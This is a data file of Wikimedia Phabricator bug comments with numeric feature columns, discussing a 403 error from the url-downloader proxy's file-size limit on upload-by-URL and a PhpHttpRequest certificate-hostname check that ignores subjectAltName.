Yes. We used to have an async mode, but its disabled and possibly has issues (not sure what exactly). We may be able to ease issue by increasing various timeouts or removing the restriction against using tool labs (which afaik has a really fast link to production, being in same data centre and all), but ultimately to truly fix this we would need to reserurecte async mode (otoh i have no idea how that would tie in with current UI. But current ui sucks a lot so i suppose it wouldnt matter much)",,,1415795058,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-34,True,1.0,0.0,0.0,0.5,1.0,7.0,1.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,3.5,0.5,6.5,9.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.5,0.0,4.5,1.0,1.0,1.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,14.0,0.5,0.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.5,0.0,0.0,3.5,2.5,10.0,0.5,3.5,6.5,0.0,0.0,0.0,0.5,4.5,0.5,1.5,0.0,5.0,9.0,6.0,0.0,0.0,0.0,5.0,0.0,2.0,2.5,0.0,2.5,0.0,0.0,0.0,3.8722222222222222,0.75,"(In reply to Tisza Gergő from comment #14)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

No, we are talking about url-downloader.wikimedia.org proxy. I believe the proxy is used as a security measure (not 100% sure against what, but isolating user trigerrable http downloads is probably just a goodvidea in general)

QUOTE
QUOTE
QUOTE

Yes. We used to have an async mode, but its disabled and possibly has issues (not sure what exactly). We may be able to ease issue by increasing various timeouts or removing the restriction against using tool labs (which afaik has a really fast link to production, being in same data centre and all), but ultimately to truly fix this we would need to reserurecte async mode (otoh i have no idea how that would tie in with current UI. But current ui sucks a lot so i suppose it wouldnt matter much)"
322439,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"(In reply to Bawolff (Brian Wolff) from comment #11)
> Its a proxy squid server in between the api and the rest of the internet. I
> dont think mw has any way of knowing it hit a file too big instead of legit
> 403.

We are talking about a squid operated by WM-PL, right? AFAIK wikimedia.pl is not WMF-hosted.

That would make this a bug in the squid configuration of WM-PL, presumably. Is there a tracker where this could be upstreamed then?

> I think the timeout is currently 30 seconds(?) Im not surprised you hit it.
> You would have to have some pretty good connectivity to transfer a 900mb file
> in 30 seconds.

The deeper issue is, then, that we don't have a method for upload-by-url that's not limited by the timeout (unlike normal uploads, where we have the chunked upload API)?",,,1415789011,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-34,True,0.0,0.0,0.0,1.0,2.0,2.5,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,2.0,0.0,6.0,7.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,11.0,1.5,0.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,1.0,1.0,0.0,5.5,3.5,12.5,2.5,0.0,7.5,0.0,0.0,0.0,0.5,2.0,0.0,1.0,0.0,2.0,7.5,6.5,2.0,0.0,0.0,2.0,0.0,2.5,2.5,0.0,0.5,1.0,0.0,0.0,3.458333333333333,0.7416666666666667,"(In reply to Bawolff (Brian Wolff) from comment #11)
QUOTE
QUOTE
QUOTE

We are talking about a squid operated by WM-PL, right? AFAIK wikimedia.pl is not WMF-hosted.

That would make this a bug in the squid configuration of WM-PL, presumably. Is there a tracker where this could be upstreamed then?

QUOTE
QUOTE
QUOTE

The deeper issue is, then, that we don't have a method for upload-by-url that's not limited by the timeout (unlike normal uploads, where we have the chunked upload API)?"
322434,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"The only place where squid (or the target website) tell us more details is the body of the error response.

gerrit change 172437 adds remote server output to the debug log to help troubleshoot such issues.",,,1415662470,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-34,True,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,2.0,2.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,7.0,7.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,4.170731707317073,0.8780487804878049,"The only place where squid (or the target website) tell us more details is the body of the error response.

gerrit change 172437 adds remote server output to the debug log to help troubleshoot such issues."
322428,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"Change 172437 had a related patch set uploaded by saper:
More debug diagnostics for upload by URL

https://gerrit.wikimedia.org/r/172437",,,1415662207,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,False,,,-34,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,19.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,4.476190476190476,0.9523809523809523,"Change 172437 had a related patch set uploaded by saper:
More debug diagnostics for upload by URL

GERRIT_URL"
322421,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"In reply to Tisza Gergő from comment #9)
> If the problem was indeed the file being too large, the API should have a
> less misleading way of reporting it, so I don't think this is fully fixed.
>

Its a proxy squid server in between the api and the rest of the internet. I dont think mw has any way of knowing it hit a file too big instead of legit 403.

(In reply to Marcin Cieślak from comment #10)
> Right now I get ""HTTP request timed out."", so we are one stage ahead. It
> didn't wait very long before timeout, few seconds maybe.

I think the timeout is currently 30 seconds(?) Im not surprised you hit it. You would have to have some pretty good conectivity to transfer a 900mb file in 30 seconds.",,,1415642754,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-34,True,1.5,0.0,0.0,0.0,1.0,3.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,2.5,0.0,4.5,9.5,0.0,2.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,4.0,2.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,4.5,1.0,11.5,0.0,0.5,6.0,0.0,0.0,0.0,1.5,3.5,0.0,4.0,0.0,6.0,9.5,5.0,1.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,3.368181818181818,0.7981481481481482,"In reply to Tisza Gergő from comment #9)
QUOTE
QUOTE
QUOTE

Its a proxy squid server in between the api and the rest of the internet. I dont think mw has any way of knowing it hit a file too big instead of legit 403.

(In reply to Marcin Cieślak from comment #10)
QUOTE
QUOTE

I think the timeout is currently 30 seconds(?) Im not surprised you hit it. You would have to have some pretty good conectivity to transfer a 900mb file in 30 seconds."
322416,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"Right now I get ""HTTP request timed out."", so we are one stage ahead. It didn't wait very long before timeout, few seconds maybe.",,,1415640587,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-34,True,3.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,22.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,9.0,6.0,0.0,0.0,6.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3125,0.875,"Right now I get ""HTTP request timed out."", so we are one stage ahead. It didn't wait very long before timeout, few seconds maybe."
322413,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"If the problem was indeed the file being too large, the API should have a less misleading way of reporting it, so I don't think this is fully fixed.

Marcin, can you verify whether the upload works now?",,,1415623730,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-34,True,0.0,0.0,2.0,2.0,2.0,4.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,16.0,7.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,11.0,7.0,9.0,4.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,2.0,2.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,3.688888888888889,0.8888888888888888,"If the problem was indeed the file being too large, the API should have a less misleading way of reporting it, so I don't think this is fully fixed.

Marcin, can you verify whether the upload works now?"
322411,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,Puppet patch has been merged.,,,1415616093,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-34,True,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,1.0,Puppet patch has been merged.
322409,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"Change 172120 merged by Faidon Liambotis:
Increase max file size of url downloader proxy to 1010mb

https://gerrit.wikimedia.org/r/172120",,,1415614481,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,False,,,-34,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.571428571428571,1.0,"Change 172120 merged by Faidon Liambotis:
Increase max file size of url downloader proxy to 1010mb

GERRIT_URL"
322404,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"Change 172120 had a related patch set uploaded by Brian Wolff:
Increase max file size of url downloader proxy to 1010mb

https://gerrit.wikimedia.org/r/172120",,,1415560136,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,False,,,-34,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.3076923076923075,1.0,"Change 172120 had a related patch set uploaded by Brian Wolff:
Increase max file size of url downloader proxy to 1010mb

GERRIT_URL"
322399,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"(In reply to Bawolff (Brian Wolff) from comment #3)
> From the url-downloader config:
> 
> reply_body_max_size 534773760 allow all
> 
> Looks like upload by url has a max file size of 510 mb. (Also I feel like
> even without that, things might time out before a 900 mb video got uploaded)

https://git.wikimedia.org/blob/operations%2Fpuppet.git/df4b24132abb856323e69a0decf0ebcde65b67fa/modules%2Furl_downloader%2Ftemplates%2Fsquid.conf.erb#L81

Yeah, there are a few references to 510 MB in there.",,,1415559573,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-34,True,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,31.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,12.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0476190476190474,0.6428571428571429,"(In reply to Bawolff (Brian Wolff) from comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

URL

Yeah, there are a few references to 510 MB in there."
322392,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"(In reply to MZMcBride from comment #2)

Ignore me! I mis-read the bug report and Bawolff set me straight.",,,1415559306,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-34,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,4.0,4.0,0.0,0.0,4.0,4.0,4.0,0.0,4.0,0.0,11.0,11.0,4.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.2962962962962963,0.9629629629629629,"(In reply to MZMcBride from comment #2)

Ignore me! I mis-read the bug report and Bawolff set me straight."
322384,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"From the url-downloader config:

reply_body_max_size 534773760 allow all

Looks like upload by url has a max file size of 510 mb. (Also I feel like even without that, things might time out before a 900 mb video got uploaded)",,,1415559252,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-34,True,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,8.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,0.0,2.0,17.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.9166666666666665,0.8958333333333334,"From the url-downloader config:

reply_body_max_size 534773760 allow all

Looks like upload by url has a max file size of 510 mb. (Also I feel like even without that, things might time out before a 900 mb video got uploaded)"
322379,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,I'm idly wondering whether you're setting a User-Agent and whether you can perform other actions such as edits.,,,1415558156,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-34,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,4.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,9.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,13.0,13.0,9.0,0.0,0.0,0.0,13.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,4.086956521739131,0.9130434782608695,I'm idly wondering whether you're setting a User-Agent and whether you can perform other actions such as edits.
322372,http-bad-status - 403 Forbidden when trying to upload file from tools.wikimedia.pl by URL to Commons,"Maybe check to see if it works with a small test file, just to rule out the size of the file triggering something (Yeah, I know, 403 would be the wrong error code for file too big, but just in case).",,,1415558104,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-7vmh7lmz7syayu6w7nab,task_subcomment,,True,c3,1,True,,,-34,True,0.0,2.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,8.0,17.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,6.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.3125,0.8125,"Maybe check to see if it works with a small test file, just to rule out the size of the file triggering something (Yeah, I know, 403 would be the wrong error code for file too big, but just in case)."
75199,PhpHttpRequest should not check host against CN x509 attribute,"In the class PhpHttpRequest (file includes/HttpFunctions.php, used when CURL is not installed), the option 'sslVerifyHost' is translated by checking the 'CN' x509 attribute against the host, which is now deprecated with x509 certificate v3 with subjectAltName and this avoid the operation although it was correct.

In particular, this can be observed with `$wgInstantCommons = true' on an HTTPS wiki without php-curl installed, because the commons.wikimedia.org certificate has a CN attribute *.wikipedia.org and commons.wikimedia.org is only in the subjectAltName attribute.

--------------------------
**Version**: 1.25-git
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=68581",Medium,50.0,1415549880,1441933162.0,PHID-USER-2nopae2cxuamwcbndaih,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_description,resolved,True,c3,1,False,False,True,-34,True,0.0,0.0,0.0,2.0,0.5,4.0,1.5,1.0,0.5,0.0,2.5,3.0,0.0,1.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.5,0.5,1.0,0.0,0.0,0.5,0.0,0.0,4.5,2.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.5,2.5,0.5,0.5,0.0,0.0,0.0,10.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.5,3.5,8.5,2.0,1.5,7.0,0.0,0.0,0.0,0.0,2.0,0.5,1.0,0.0,0.5,7.0,9.0,0.0,3.0,0.0,0.5,0.0,1.0,1.5,0.0,0.5,0.0,0.0,0.0,4.456759906759906,0.7096736596736597,"In the class PhpHttpRequest (file includes/HttpFunctions.php, used when CURL is not installed), the option 'sslVerifyHost' is translated by checking the 'CN' x509 attribute against the host, which is now deprecated with x509 certificate v3 with subjectAltName and this avoid the operation although it was correct.

In particular, this can be observed with `$wgInstantCommons = true' on an HTTPS wiki without php-curl installed, because the commons.wikimedia.org certificate has a CN attribute *.wikipedia.org and commons.wikimedia.org is only in the subjectAltName attribute.

--------------------------
**Version**: 1.25-git
**Severity**: normal
**See Also**:
URL"
525362,PhpHttpRequest should not check host against CN x509 attribute,"Change 234927 merged by jenkins-bot:
Workaround fopen lack of SubjectAltName support for instantCommons

[[https://gerrit.wikimedia.org/r/234927]]",,,1441991273,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.695652173913044,0.9130434782608695,"Change 234927 merged by jenkins-bot:
Workaround fopen lack of SubjectAltName support for instantCommons

[[GERRIT_URL]]"
525351,PhpHttpRequest should not check host against CN x509 attribute,"Change 234926 merged by jenkins-bot:
Workaround fopen lack of SubjectAltName support for instantCommons

[[https://gerrit.wikimedia.org/r/234926]]",,,1441990886,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.695652173913044,0.9130434782608695,"Change 234926 merged by jenkins-bot:
Workaround fopen lack of SubjectAltName support for instantCommons

[[GERRIT_URL]]"
525345,PhpHttpRequest should not check host against CN x509 attribute,"Change 234928 merged by jenkins-bot:
Workaround fopen lack of SubjectAltName support for instantCommons

[[https://gerrit.wikimedia.org/r/234928]]",,,1441990710,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,3,False,,,10,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,13.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.695652173913044,0.9130434782608695,"Change 234928 merged by jenkins-bot:
Workaround fopen lack of SubjectAltName support for instantCommons

[[GERRIT_URL]]"
517447,PhpHttpRequest should not check host against CN x509 attribute,"Change 234928 had a related patch set uploaded (by Gergő Tisza):
Workaround fopen lack of SubjectAltName support for instantCommons

[[https://gerrit.wikimedia.org/r/234928]]
",,,1440981370,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-avgtb7f3pfmm2m3kdtf2,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.517241379310345,0.896551724137931,"Change 234928 had a related patch set uploaded (by Gergő Tisza):
Workaround fopen lack of SubjectAltName support for instantCommons

[[GERRIT_URL]]
"
517446,PhpHttpRequest should not check host against CN x509 attribute,"Change 234927 had a related patch set uploaded (by Gergő Tisza):
Workaround fopen lack of SubjectAltName support for instantCommons

[[https://gerrit.wikimedia.org/r/234927]]
